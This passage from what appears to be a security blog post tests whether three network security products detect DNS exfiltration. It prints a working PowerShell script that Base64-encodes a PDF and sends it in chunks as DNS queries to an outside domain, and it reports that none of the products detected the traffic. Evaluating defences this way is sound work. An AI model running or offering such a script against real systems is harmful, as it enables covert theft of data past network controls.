Again, for testing purposes, I used my blog domain letsnet.eu, which has a good reputation. My exfiltration script was written in PowerShell (thanks, ChatGPT!). The script splits a PDF file into chunks, encodes each chunk in Base64, and then makes a DNS request for the A record of the sub‑domain chunk‑in‑base64.letsnet.eu that represents each chunk.
# Define variables
$domain = "00lawyers.top"
$filePath = "C:\Users\pzwierzynski\Desktop\ps-dns\658506256462090119917290.pdf"
$chunkSize = 63 # Adjust for optimal DNS query length
# Function to make Base64 DNS-safe
function Encode-DnsSafe {
param (
[string]$base64String
)
# Replace invalid characters with DNS-safe alternatives
return $base64String -replace '\+', '-' -replace '/', '_' -replace '=', ''
}
# Check if the file exists
if (-Not (Test-Path $filePath)) {
Write-Host "File not found: $filePath"
exit
}
# Read and encode the file
Write-Host "Reading and encoding file..."
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$fileBase64 = [Convert]::ToBase64String($fileBytes)
# Make the Base64 string DNS-safe
$fileBase64Safe = Encode-DnsSafe -base64String $fileBase64
# Split the encoded file into chunks
Write-Host "Splitting file into chunks..."
$fileChunks = ($fileBase64Safe -split "(.{1,$chunkSize})") | Where-Object { $_ -ne '' }
# Send the chunks over DNS
Write-Host "Sending chunks over DNS..."
$counter = 0
foreach ($chunk in $fileChunks) {
$subdomain = "$chunk.$counter.$domain"
Write-Host "DNS Request: $subdomain" # Log the DNS query
try {
# Send DNS query
Resolve-DnsName -Name $subdomain -Type TXT -ErrorAction Stop | Out-Null
Write-Host "Sent chunk $counter successfully."
} catch {
Write-Host "Failed to send chunk $counter $_"
}
$counter++
}
Write-Host "File transmission complete. Total chunks sent: $counter"
Cisco Umbrella
Behaviour is exactly the same as in the infiltration scenario: DNS requests are visible, categorised as Unknown, and no security event is generated.
FortiGate
DNS queries are visible, with no category assigned. Strangely, although the script requests A records, the FortiGate logs show the requests as TXT queries. 🙂
Palo Alto NGFW
Unfortunately, Palo offers no visibility here—no threat logs and no record of the DNS requests. I found an article that explains:
A possible reason that DNS Security did not detect the DNS tunnelling traffic generated from the test is because the detector is optimised for real‑world DNS tunnelling attacks and has rules to prevent false positives. This ensures that a long‑standing domain (e.g., your own) does not get flagged as a DNS tunnelling domain. For more realistic testing, register a fresh domain and use it for the DNS tunnelling test.
So, I used a brand‑new domain—00lawyers.top (reputation below)—and ran the script again.


Once more, no exfiltration was detected. The DNS requests were blocked only because the domain fell under the Newly Registered Domains category; after allowing that category, the firewall still generated no threat events.
Palo Alto claims that DNS Security has improved in PAN‑OS 11.x, but I haven’t yet had the opportunity to test my script on that version.
Conclusion
None of the solutions I tested provided effective protection against DNS exfiltration. In practice, DNS exfiltration is possible—albeit slow—so threat actors will usually prefer faster methods. All the products advertise DNS‑tunnelling protection, but in reality their defences seem to rely almost entirely on domain categorisation.
In the next episode, I’ll test how well they handle DGA domains.